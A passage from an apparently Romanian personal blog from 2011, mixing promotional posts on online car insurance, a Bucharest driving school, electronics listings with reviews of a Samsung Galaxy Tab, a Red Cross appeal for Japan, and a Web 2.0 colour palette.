  5. Ce drepturi au pagubitii si ce pot cere SAsiguratorilor
  6. Sfaturi foarte utile
Si multe altele, dar cel mai important mi se pare faptul ca pe acest site preturile care iti sunt afisate sunt preturile reale, atat platesti, nu sunt alte taxe.

Fata de cum am vazut si pe alte site-uri cu sume estimative, si cand sa platesti ramaneai perpelex de pretul final.

Astea fiind spuse se poate achizitiona online o asigurare RCA pentru buzunarul tau, si in plus de asta te alegi si cu un Alcooltest Digital gratuit care nu sti cand o sa ai nevoie de el.

Iti recomand http://www.rcaland.ro/ pentru achizitionarea asigurarii tale RCA.

joi, 14 aprilie 2011


Se spune ca sofatul in Bucuresti este total diferit fata de cel din oricare alt oras din Romania, pentru simplul motiv ca sofatul aici este mai haotic si mai frustrant. Scoala de soferi Bucuresti Activ stie foarte bine acest lucru si de accea ofera cea mai buna combinatie dintre invatarea practica de pe sosea care o sa va ajute sa va descurcati in traficul capitalei, precum si o solida pregatire teoretica complementara, pentru a putea schimba in timp acest trafic si acesta conduita a soferilor din Bucuresti in ceva mai bun.

Ca totul sa fie si mai simplu te poti inscrie online:

Pret scolarizare pentru categoria B : 650 RON
Suma poate fi platita integral sau in 4 rate, prima rata fiind de 200 RON.
A doua rata se achita dupa 15 ore de conducere.

Date contact:
B-dul Iancu de Hunedoara nr.36
Mobil: 0727 655 990
0762 529 379
Email : contact@activ2010.ro

marți, 29 martie 2011

Cumparaturi de primavara, electronice online

Traim in secolul vitezei, timpul este insuficient si orice secunda economisita conteaza . Cand timpul nu iti ajunge, cand suntem prea comozi pentru a mai lua la pas magazinele, oare care ar fi solutia cea mai buna? Cumparaturile online! Poate vi se pare ceva virtual, dar este ceva real. Nu mai pierzi timpul in traficul infernal, nu mai stai la cozile de la case sa platesti, stai relaxat, cauti ce doresti sa cumperi si gata! Ce ti-ai dorit vine in casa ta.

Internetul este solutia cea mai simpla, cu fiecare an care trece, cu fiecare zi este accesat de tot mai multe persoane. Avantajele comertului online vin de la primul click.

Oare ce putem cumpara online? In principiu , tot ce ofera magazinele, cu mici exceptii, in functie de buzunarul si preferintele fiecarei persoane . Putem achizitiona de la carti, produse IT, elecrocasnice, electronice, parfumuri, haine pana la obiecte decorative, flori, cadouri celor dragi etc.

Inca din anul 2000, magazinele virtuale au inceput sa apara in Romania intr-un numar din ce in ce mai mare de la an la an. In ceea ce priveste comertul online, Romania este inca la inceput, avand multe de recuperat comparativ cu tari precum Anglia, Franta, Germania, ca sa nu mai vorbim de America. Probabil multi dintre voi o sa spuneti : “ Nu o sa ajungem niciodata la nivelul acestora”. Probabil ca nu, dar si aceste tari au inceput ca si noi, de la 0.

Piata cumparaturilor online a cunoscut o crestere de 110% in ultimul an in Romania. Desi multi dintre noi suntem sceptici atunci cand vine vorba de shopping online, aceasta poate fi o alternativa mai putin costisitoare la shopping-ul din magazinele fizice.

Conform unor sondaje comandate de cateva magazine virtuale, clientul care cumpara online este o persoana cu studii superioare, utilizeaza in mod frecvent internetul, posesor de card, telefon mobil cu abonament, o persoana care are timpul limitat si un venit mediu sau mare.

Tableta Samsung Galaxy TAB P1000 cu procesor Hummingbird 1000MHz, 512MB, 16GB, Android 2.2 Froyo, Alb

Tableta Samsung Galaxy TAB P1000 cu procesor Hummingbird 1000MHz, 512MB, 16GB, Android 2.2 Froyo, Alb la 1.999,90 Lei

Tableta Samsung Galaxy TAB strange impreuna toate inovatiile de varf de la Samsung, furnizand utilizatorilor mai multe posibilitati in miscare. Cu diagonala de 7`` si o greutate de 380 g, tableta Samsung Galaxy TAB e destul de usoara s-o prinzi cu o mana si suficient de mare pentru o imagine clara, fie ca te joci, navighezi pe internet sau vezi un film.

Acces nelimitat la navigarea pe Internet cu suport Flash 10. 1
Incearca aplicatii si pagini web cu continut Flash 10.1 pe un ecran de 7`` si bucura-te de experienta Web interactiva. Nu ezita sa vizitezi nenumaratele site-uri care folosesc Flash 10.1 oferind jocuri, animatii, aplicatii internet bogate, prezentari de date si o gama larga de experiente multimedia.

Mai mult, conexiunile Wi-Fi si 3G iti permit sa te conectezi la internet de oriunde, fie ca esti la o cafea cu colegii de munca, sau in masina - in drum spre scola.


HDMI lipseste intr-adevar dar poate scoate 1080p si daca vrei neaparat sa o folosesti ca video player o poti face prin dlna, sunt multe aplicatii care pot face asta, inclusiv allshare cu care vine preinstalat si merge de minune cu un televizor lcd/led samsung cu allshare. Cat despre mouse, de ce ai vrea sa pui mouse pe un sistem construit pentru imput touch? Pare cam redundant. Ma rog, daca instalezi linux pe tab, ceea ce se poate, atunci da, merge, pe android insa e inutil.
Poate face orice face un netbook in masura in care exista programe pentru ceea ce vrei sa faci, nu vor functiona programele de pe windows spre exemplu, asa ca verifica market-ul inainte ca sa vezi daca gasesti tot ce te intereseaza. Daca te intereseaza doar browsing pe net atunci face exact ce face si un netbook, inclusiv flash integrat. De bagat cartela sim in el poti dar nu e obligatoriu, poti sa te descurci doar cu wifi, desi avand in vedere ca la concurenta optiunea de sim te mai costa inca 7 milioane ar fi pacat sa nu bagi.
Cat despre numarul de aplicatii in market nu stiu cata relevanta are faptul ca apple are peste 350.000 iar android doar peste 250.000, avand in vedere ca sunt peste cateva sute de mii probabil ca vei gasi ce iti trebuie si in android market. Parerea mea!


Raspunde bine la comenzi, nu se simte lag.
Bateria tine destul de mult, folosit incontinuu tine de la ~6-7 ore in sus ca in specificatii, in standby inca nu l-am lasat :) dar cred ca sta cateva zile.
Flash player 10.x este pre-instalat in browserul initial, din cate stiu pe iPad nu poti avea flash player.
Are microfon incorporat si camera frontala pentru chat, iPad nu are din cate stiu.
Aplicatia Yahoo messenger are support pentru chat audio si video.
Se simte foarte solid in mana fata de alte device-uri.
Ecranul care raspunde doar la deget este mult mai precis decat cele care raspund la presiune; pare si mult mai rezistent; ecranul se simte ca o sticla fata de altele care se comporta ca un plastic flexibil.

In Android 2.2 Google talk nu iti permite sa te loghezi cu alt user decat cel initial, poti schimba userul la Google Talk doar dupa ce resetezi/formatezi toata memoria. In Gmail si alte aplicati se pot schima conturile sau folosi mai multe conturi.

Am inteles ca unele se vand cu card de memorie inclus, acesta ce l-am primit nu avea card in el ci doar memoria interna de 16GB.

Tableta Samsung Galaxy TAB P1000 cu procesor Hummingbird 1000MHz, 512MB, 16GB, Android 2.2 Froyo, Alb la 1.999,90 Lei

Camera video Sony Handycam DCR-SR 78

Camera video Sony Handycam DCR-SR 78 la 1.629,99 Lei

Caracteristici DCR-SR78E

* Zoom optic 60x - Obiectiv Vario-Tessar® cu interval de zoom optic ultraputernic pentru a apropia obiectele indepartate
* HDD de 120 GB, plus card de memorie - Timp de filmare de pâna la 91 de ore 50 min la definitie standard pe unitatea hard disk integrata de 120 GB
* SteadyShot - Stabilizarea electronica a imaginii reduce efectele tremuratului camerei in timpul capturii cu camera in mâna
* Senzor CCD 800k - Sensibilitatea crescuta captureaza clipuri video clare cu calitate imbunatatita a imaginii in conditii de lumina scazuta (iluminare min. 3 lucsi)
* Detectare a fetei - Detectarea avansata a fetei pentru chipuri mai clare si cu un aspect mai natural. Acum recunoaste pâna la 8 fete intr-o scena
* Ecran LCD panoramic Clear Photo de 6,7 cm/2,7" - Ecran panoramic tactil de inalta calitate, cu o rezolutie de 230k puncte pentru vizionarea fotografiilor si controlul functiilor
* Pornire prin LCD - pornire rapida din standby cu un consum extrem de redus de energie in modul inactiv
* Reflector video - Iluminati subiectul pentru rezultate excelente la petreceri, filmarea in interior si scenele nocturne
* Incarcare usoara cu software PMB - Software PC PMB distractiv, usor de utilizat, pentru administrarea filmelor si fotografiilor in vizualizarea calendar si incarcarea pe site-uri Web precum YouTube™
* Copiere directa - Transferati materialul video direct pe o unitate hard disk externa, fara PC: redare cu functii distractive ale camerei video
* Compatibilitate DVDirect Express - Inscriptionare fara PC pe discuri AVCHD sau DVD de definitie standard cu inscriptorul compatibil DVDirect Express de la Sony
* Sunet stereo - inregistrare digitala, clara si limpede a sunetului stereo
* Index de figuri si index de tip rola de film - Gasiti scena potrivita cu cautari rapide si usoare prin materialul filmat cu camera video
* Functioneaza cu iMovie - Conectati Handycam® direct la computerul Macintosh® prin USB si importati clipuri video direct pentru editare cu iMovie

- YouTube si Picasa sunt marci comerciale ale Google Inc.
- iMovie, Mac® si sigla Mac® sunt marci comerciale ale Apple Inc., inregistrate in Statele Unite si in alte tari. Sigla The Works with iMovie este marca comerciala a Apple Inc.
- Facebook este marca comerciala a Facebook Inc.

Mai multe detalii...

Laptop HP 620 cu procesor Intel® Celeron®

Laptop HP 620 cu procesor Intel® Celeron® Dual-Core T3000 1.8GHz, 2GB, 320GB, Linux + Geanta la 1.499,00 Lei

"HP 620, Grey, 15.6 Anti Glare HD (1366x768) LED, Intel® Celeron® T3000 (1.8 GHz, cache 1 MB, FSB 800 MHz), 2 GB DDR3, 320 GB 5400 rpm, Intel 4500MHD (shared ), 10/100, b/g/n, BT 2.1, , DVD-SM LS, 2 MP, 6-cell, SD Reader, Express Card, HP Basic Carrying Case, Linux, 1 yw carry in"

Mai multe detalii...

luni, 21 martie 2011

Ajutor pentru Japonia

Curcea Rosie face un apel umanitar pentru Japonia.

In data de 11 martie a.c., un cutremur de 9 grade pe scara Richter a lovit Coasta de Est a Japoniei, declansand un tsunami cu valuri de peste 7 metri inaltime care a provocat o tragedie umanitara de mari proportii.

1 886 de oameni au decedat si 2 369 de persoane sunt date disparute. Cutremurul a declansat incendii si a distrus zeci de cladiri, lasand mai mult de 5 milioane de case fara energie electrica si un milion de case fara apa.

Donati astazi pentru a ajuta mii de oameni care au nevoie de ajutor dumneavoastra!

Ambasada Japoniei in Romania recomanda ca toate fondurile de ajutorare a victimelor cutremului din Japonia sa se faca prin conturile deschise de Crucea Rosie Romana.


Paleta de culori Web 2.0

Web 2.0 este despre gasirea de noi modalitati de a interacţiona pe internet si de a colaborara, cel putin într-o anumita masură. Aceia dintre noi isi dau seama ce inseamna Web2.0 cu adevarat, nevoia de culoare pentru proiectul tau este pictura digitala realizata de tine.

Web 2.0 de astazi este organizat in 3 grupuri de culoare distincte - neutre, tonuri discrete si culori indrazneţe, se pot recunoaste cateva nuante de la unele dintre site-urile de top la ora actuala. Acum puteti rapid si usor sa te inspiri pentru a alege schema de culoare - pur si simplu alege orice numar de culori indraznete vrei, apoi adaugai cat mai multe neutre ca tu de cuviinta - asa poti obtine o capodopera web 2.0, intr-o paleta de culori calde si primitoare!


Shiny silver [#EEEEEE]
Reddit white [#FFFFFF]
Magnolia Mag.nolia [#F9F7ED]
Interactive action yellow [#FFFF88]
Qoop Mint [#CDEB8B]
Gmail blue [#C3D9FF]
Shadows Grey [#36393D]


Mozilla Red [#FF1A00]
Rollyo Red [#CC0000]
RSS Orange [#FF7400]
Techcrunch green [#008C00]
Newsvine Green [#006E2E]
Flock Blue [#4096EE]
Flickr Pink [#FF0084]

Culori indraznete

Ruby on Rails Red [#B02B2C]
Etsy Vermillion [#D15600]
43 Things Gold [#C79810]
Writely Olive [#73880A]
Basecamp Green [#6BBA70]
Mozilla Blue [#3F4C6B]
Digg Blue [#356AA0]
Last.fm Crimson [#D01F3C]